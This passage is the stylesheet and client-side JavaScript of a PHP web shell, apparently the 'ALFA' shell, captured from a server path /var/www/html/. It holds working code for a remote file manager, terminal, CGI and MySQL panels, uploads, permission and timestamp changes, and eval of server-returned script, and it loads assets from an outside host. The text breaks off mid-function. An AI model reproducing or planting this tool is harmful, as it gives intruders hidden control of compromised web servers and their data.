ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}

@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:100px;height:100px;}
#a_loader img{	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:#67ABDF;font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:0px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(http://solevisible.com/images/btn.png);background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;}.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{color: #00FF00;}.header_drive:hover{color: #FFFFFF;}.header_show_all{color: #00FF00;}.disable_functions{color: #ff0000;}.footer_text{color: #27979B;}.menu_options{color: #27979B;}.menu_options:hover{background-color: #646464;font-weight: unset;}.content_options_holder .header center a{color: #00FF00;}.content_options_holder .header center a:hover{color: #FFFFFF;}.txtfont_header{color: #59cc33;}.txtfont,.tbltxt{color: #FFFFFF;}.alfa_plus{color: #06ff0f;font-weight: unset;}#hidden_sh a{color: #00FF00;}.hidden_shell_version{color: #ff0000;}.shell_name{color: #FF0000;}.main tr:hover{background-color: #646464;}.main th{color: #FFFFFF;}.main .main_name{color: #FFFFFF;font-weight: unset;}.main_size{color: #67ABDF;}.main_modify{color: #67ABDF;}.main_owner_group{color: #67ABDF;}.main_green_perm{color: #25ff00;}.main_red_perm{color: #FF0000;}.main_white_perm{color: #FFFFFF;}.beetween_perms{color: #FFFFFF;}.main .actions{color: #FFFFFF;}.minimized-wrapper{background-color: #0e304a;}.minimized-text{color: #f5deb3;}.editor-explorer,.editor-modal{border: 2px solid #0e304a;}.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}.editor-header{background-color: rgba(21, 66, 88, 0.93);}.editor-path{color: #00ff7f;}.close-button, .editor-minimize{background-color: #1d5673;}.editor_actions{color: #FFFFFF;}.editor_file_info_vars{color: #FFFFFF;}.filestools{color: #67ABDF;}.hheader-text,.history-clear{color: #14ff07;}.editor-file-name{color: #03b3a3;}.is_active{background-color: rgba(49, 55, 93, 0.77);}.file-holder > .history:hover{background-color: #646464;}input[type=text],textarea{border: 1px solid #0E304A}input[type=text],textarea{color: #999999;}input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}select{border: 1px solid #0E304A}select{color: #FFFFEE;}select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}input[type=submit],.button,#addup{border: 1px solid #27979B;}input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.ml1{color: #67ABDF;}.ml1{border: 1px solid #0E304A;}.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}.inputfile strong{background-color: #0E304A;}.inputfile strong{color: #FFFFFF;}.inputfile span{color: #25ff00;}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.up_bar{background-color: #00ff00;}.mysql_tables{color: #00FF00;}.mysql_table_count{color: #67ABDF;}.copyright{color: #dfff00;}*::-webkit-scrollbar-thumb{background-color: #1e82b5;}*::-webkit-scrollbar-track{background-color: #000115;}
</style><script type="text/javascript">
var c_ = '/var/www/html/';
var a_ = 'FilesMan2';
var charset_ = 'Windows-1251';
var islinux = true;
var post_encryption_mode = false;var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&amp;path="+c_+"&amp;file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var 